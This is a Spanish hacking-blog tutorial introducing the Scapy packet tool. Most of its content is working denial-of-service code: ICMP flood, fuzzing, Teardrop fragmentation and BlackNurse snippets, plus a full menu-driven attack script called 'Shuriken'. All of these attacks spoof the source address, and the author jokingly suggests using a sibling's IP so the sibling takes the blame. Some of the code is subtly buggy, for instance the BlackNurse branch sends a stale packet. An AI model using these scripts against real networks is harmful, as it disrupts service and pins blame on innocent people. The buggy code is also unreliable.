The Samurai Path – Scapy (Parte 1)

Buenas mis queridos H4x0rs!

Si mucho tiempo sin escribir… y sin pasar por aquí… pese a manteneros informados vía FB… creo que era el momento de echar el freno y reflexionar… demasiados cambios, todos muy de golpe hacen mella en uno y hay veces que es mejor frenar y coger aire para no meteros una ñapa de artículo, pero aquí estoy… READY TO FIGHT

«Si amo, si, volvemos a la carga! por fin! y esta vez somos mas sabios… no usted no… yo si… usted sigue siendo un maldito zoquete aiiiii noooooo otra vez no …. no me fustigue que nada tiene que ver usted con Chistian Grey… maldito enfermo!»

Hoy os traigo algo que para mí está siendo la revolución… siempre metido en maquinas de vulnhub no era consciente de lo que es ser realmente un hacker… y creo que gracias a mi maestro @tankinus y gran compañero lo aprendo día a día… nada que ver con abro MeTaXpLoit y ale auxiliares a la carga…. Lanzo exploit y JOB DONE!

Hablo de trabajo más fino…. De mirar las cosas a nivel de protocolos… ya sea TCP, UDP… o por que no cosas raras como BGP, SCTP, GTP… o cualquiera que se os ocurra… que joder, para eso están los RFC ¿no?

Pues llegados a este  punto lo mismo hay quien dice… esto me supera… y los hay que tiramos para delante con manuales e ilusión  porque como dice mi maestro ¿QUE SOMOS JUANKERS O MIERDERS?

No me enrollo más y os presento el arma de destrucción masiva que manejo a diario y que os iré enseñando a utilizar SCAPY!

«Nebu… continúe… ahora tanto yo como el amo le escuchamos… arma de destrucción masiva ehhh suena muy bien… verdad amo? por dios deje de meterse el dedo en la nariz… se va a sacar un día el cerebro!!»

Scapy es una herramienta implementada en Python… que de hecho se maneja desde la línea de  comandos de este lenguaje… y que se puede llegar a utilizar como librería dentro de nuestros scripts. Es muy muy versátil y permite hacer muchísimas cosas…

Como viene con Kali no me voy a entretener con el cómo se instala…. (Hay manuales y SAN GOOGLE es muy útil… ya sabéis sino TRY HARDER)

cd /tmp
wget scapy.net
unzip scapy-latest.zip
cd scapy-2.*
sudo python setup.py install

Abrimos línea de comandos ! Bien! Juanker Style Mode ON y tipeamos SCAPY

scapy

Y así de fácil tendremos abierto scapy

Vale y diréis y ahora ¿qué? Pues…. Creo que vamos a empezar por algo sencillo nada pretencioso… pero que puede ser divertido… ¿¿Quién quiere hacer un FLOOD y un FUZZ al router que tenemos en casa??¿Y un TEARDROP? ¿O un BLACK NURSE? No tenéis curiosidad de ver si casca esta cajita con lucecitas?? O soy el único con ganas de ver el mundo arder ¿?

Empezaremos usando un protocolo común como ICMP (pincha sin miedo y mira el RFC)  , es conocido por todos y fácil de emular bajo Scapy. Y para probar que todo va OK que tenemos conectividad… y para ver cómo está formado un paquete de estos vamos a abrir WIRESHARK y vamos a poner un ping continuado contra el router….(normalmente 192.168.0.1)

ping 192.168.0.1

Y aquí vemos el paquete ICMP como esta formado esta es la teoría, según vemos se trata de un protocolo que actúa bajo la capa IP así que vamos a comprobarlo viendo y capturando un paquete.

Esta seria la captura de un solo paquete ICMP de tipo PING enviada desde nuestra maquina al router:

Aquí podemos ver tanto el ping que hacemos desde nuestro equipo como la respuesta que hace el equipo al que estamos haciéndoselo.  Lo que haremos es guardarnos el paquete que enviamos nosotros para analizarlo.

Ahora solo nos queda replicar un solo paquete y para ello vamos a coger ese paquete… lo vamos a guardar a el solo en un .pcap y lo vamos a abrir con scapy para ver como se implementaría bajo este sistema.

Haciendo esto lo que vamos a ver es el contenido del paquete que se ve en scapy para ello cargamos el pcap y le hacemos un SHOW y al ser solo un paquete le decimos que dentro del listado se muestre el [0]

scapy
paq=rdpcap("ICMP-Ping.pcap")
paq[0].show()

Y este seria el resultado

En cambio con esta orden lo que haremos es mostrar como seria la construcción completa de dicho paquete si tuviéramos que hacerla a mano con el código de scapy.

paq[0].command()

Aquí tendríamos el resultado y el ejemplo que vamos a seguir a partir de ahora.

Y como ya sabéis que me gusta poner en practica las cosas aprendidas paso a paso lo que vamos a hacer es hacer un paquete ICMP basico por el simple hecho de practicar:

ip = IP(dst="[IP ROUTER]",src="[IP PROPIA]")
icmp = (ICMP())
paq = ip/icmp
send(paq* iface="eth0")

Y ya de puestos… como estamos aprendiendo… por qué no probar a ver el paquetillo con un formato mas gráfico que nos pueda ayudar a entender un poco esto ¿no?

paq[0].pdfdump(layer_shift=1)

HAGAMOS EL MAL AHORA!!!!!!!

Vale ahora solo me queda explicar que es un ataque DOS… simplemente es un tipo de ataque que envía tantas peticiones simultaneas al equipo objetivo que lo satura… llegando a ralentizar o incluso paralizar el servicio que este dando dicho equipo. O lo que es lo mismo… a recibir un CHORRAZO.

«Definitivamente… amo es usted un patán… mire mire que nivel de maldad… y usted…. aquí… sin saber freír un huevo si no estoy..»

Y como sabemos que podría haber alguien monitorizando dicha red… lo que vamos es a poner la IP de nuestro «Hermano» jajaja para que en caso de problemas le lluevan a el las h#?!as…(claro que si guapi ;P) y a esto se le llama SPOOFING! que es la subplantacion de un equipo con otro dentro de una red…ya de hacer el mal hagamoslo completo jajjaja

CÓDIGOS SCAPY

Flood 

Empecemos con algo fácil… un ataque de denegación de servicio por desbordamiento de paquetes…. ¿Aguantara el router el envio masivo de 10.000 paquetes a lo bestia?

ip = IP(dst="[IP ROUTER]",src="[IP-DE TU HERMANO]")
icmp = ICMP()
paq = ip/icmp
send(paq*10000, iface="eth0")

Esto seria el resultado si tenemos abierto Wireshark mientras esta en ejecución el código de flooding de scapy.

Si que es verdad que muchos conocéis que scapy no es lo mejor para hacer este tipo de ataque porque la carga y envio de paquetes es algo mas lenta comparada con HPING… o incluso tcpreplay… pero la finalidad practica la cumple.

Fuzzing

Vale… ya hemos probado el envío masivo… pero y si hacemos FUZZ en todos los campos posibles del paquete de protocolo ICMP? acaso no petara?

ip = IP(dst="[IP ROUTER]",src="[IP-DE TU HERMANO]")
icmp = fuzz(ICMP())
paq = ip/icmp
send(paq*1000, iface="eth0")

Y aquí la captura de Wireshark… si abrierais los paquetes veríais que hay muchos de los campos que son totalmente aleatorios siendo un autentico desmadre acertar con el paquete cabroncete que tumbe el servicio… pero… y si damos con el?

Teardrop

Que es teardrop… no es complicado es un ataque DOS también como los anteriores solo que es de ALTA FRAGMENTACION, con esto lo que intentamos en muchos casos es hacer un bypass a los WAF… o servicios firewall reconstruyendo nuestro paquete tras la linea enemiga sin ser detectados… pero en este caso nos vamos a valer de esta propiedad del protocolo para enviar paquetes fragmentados eternos… sin llegar a mandar un final de la trama… por lo que puede llegar un momento en el cual el sistema se bloquee y se sature porque mantiene en memoria dichos paquetes esperando el final para reconstruirlo entero.

ip = IP(dst="[IP ROUTER]",src="[IP-DE TU HERMANO]",flags="MF", proto=17, frag=0)
icmp=ICMP()
load="FWHBBIT"*1300
paq=ip/icmp/load
send(paq*10, iface="eth0")

Y como no … otra captura… que no se diga que no os las aporto…;P

Black Nurse

Este ataque de denegación de servicio lo que hace es lanzar paquetes ICMP de tipo 3   que son de tipo «Destination Uunreachable» y codigo 3 «Port Unreachable»que generan una alta carga de CPU en los dispositivos perimetrales. Cuando se produce un ataque, los usuarios de la parte interna de la red ya no podrán enviar / recibir tráfico hacia / desde Internet.

ip = IP(dst="[IP ROUTER]",src="[IP-DE TU HERMANO]")
icmp=ICMP(type=3,code=3)
send(paq*10000, iface="eth0")

Y por ultimo nuestra querida enfermera negra? suena fatal pero así se llama… aquí tenéis una captura de la misma… para que veáis lo que se estaría lanzando:

Shuriken

Y ya de puestos… y porque sabemos todos que la vagancia es una de las grandes cualidades humanas… aquí tenéis el código con un menú todo mono para poder hacer el trabajo por partes… para que…. no se os cansen esas manitas … (Era la excusa para practicar un poco de python).

«Bien bien nos lo dan hecho… sin necesidad de comernos la cabeza… pero espere amo… si le ponemos la carga útil (tag) aleatoria a los paquetes?? igual suena la flauta en alguno?? jjijijijijij» 

#!/usr/bin/env python
import sys
from scapy.all import *
total = len(sys.argv)
if total != 5:

	print "                    \ \ "
	print "                     \ \ "
	print "                      \ \ "
	print "                       \ \     Uso: Shuriken TARGET-IP SPOOF IP INTERFACE ATTACK-CODE"
	print "                        \.\ "
	print "                         \.\     Codigos de lanzamiento:"
	print "                          \.\  "
	print "                 _         \.\/)        0: Ataque de Flooding"
	print "            _ _-' ')__     (\.\/) "
	print "           /       /  \.'`'-\/)\        1: Ataque de Fuzzing"
	print "           \__ ,.-'(_  Y    (_\.\)"
	print "            / <     ,\  \    , \.\      2: Ataque Teardrop"
	print "            \_ \ _. /y(_|    : |\.\|     "
	print "             _\_\    |    :    | \.\   
	print "            \         `:=.    (\   \.\ "
	print "             \_      (    `--._)`--'\.\=7"
	print "            _/|\_    \-._     `-:_ /```-3  "  
	print "           /  |  `-   \  t--._    Y    _3 "
	print "        ,-'   |       /  |   /``'-.\--T x\ "
	print "      _/     _(    ,./  /   (          \ x\ "
	print "         _.-/  \  /    <     \          \ x\ "
	print "      <`'  /   |\/      `-.   :          \_x\ "
	print "       \  /    |           `. |"
	print "        \_|    /             `."
	print "          |   /                `."
	print "         /  _/\                /"

target=str(sys.argv[1])
spoof=str(sys.argv[2])
ifce=str(sys.argv[3])
attack=sys.argv[4]
print 'Atacando la IP ' + target + ' bajo la IP '+ spoof + ' con el ataque ' + attack +' desde la interfaz ' + ifce

if attack == '0':
	print "Lanzando ataque FLOOD contra Objetivo"
	ip = IP(dst=target,src=spoof)
	icmp = fuzz(ICMP())
	paq = ip/icmp
	send(paq*10000, iface=ifce)

elif attack == '1':
	print "Lanzando ataque FUZZ contra Objetivo"
	ip = IP(dst=target,src=spoof)
	icmp = fuzz(ICMP())
	paq = ip/icmp
	send(paq*10, iface=ifce)

elif attack == '2':
	print "Lanzando ataque TEARDROP contra Objetivo"
	ip = IP(dst=target,src=spoof, proto=17, frag=0)
	ip.flags="MF"
	icmp=ICMP()
	load="FWHBBIT"*1300
	paq=ip/icmp/load
	send(paq*10, iface=ifce)

elif attack == '3':
	print "Lanzando ataque BLACK NURSE contra Objetivo"
	ip = IP(dst=target,src=spoof)
	icmp=ICMP(type=3,code=3)
	send(paq*10000, iface=ifce)

else: #En caso de no meter el ataque
	print "No has usado la palabra magica hahahaha!"

print "Ataque Finalizado!"
print "Dedicado a @tankinus por su paciencia y dedicacion y a @Java por darme esta gran oportunidad"
print "By Nebu73 - WWW.FWHIBBIT.ES - Follow The White Rabbit"
 

Como resumen a las pruebas que os he propuesto… es complicado que un equipo a dia de hoy se trague trucos tan viejos… pero eh! a que ahora sabeis algo mas de scapy? ya sabeis montar vuestro paquetito… y enviarlo… incluso sabeis como cargar uno «legitimo» y verlo para analizar como esta hecho no?

Espero que os haya gustado y que se entienda medianamente bien y sobre todo haber hecho honor al legado de un gran compañero ;P si tenéis mas interés y no podéis esperar al siguiente articulo… os recomiendo leer este manual del maestro cr0hn y os animo a experimentar.

Nos vemos en la siguiente… SED BUENOS! o sino al menos… pareced que lo sois ! jajajjajaj ;P

Nebu73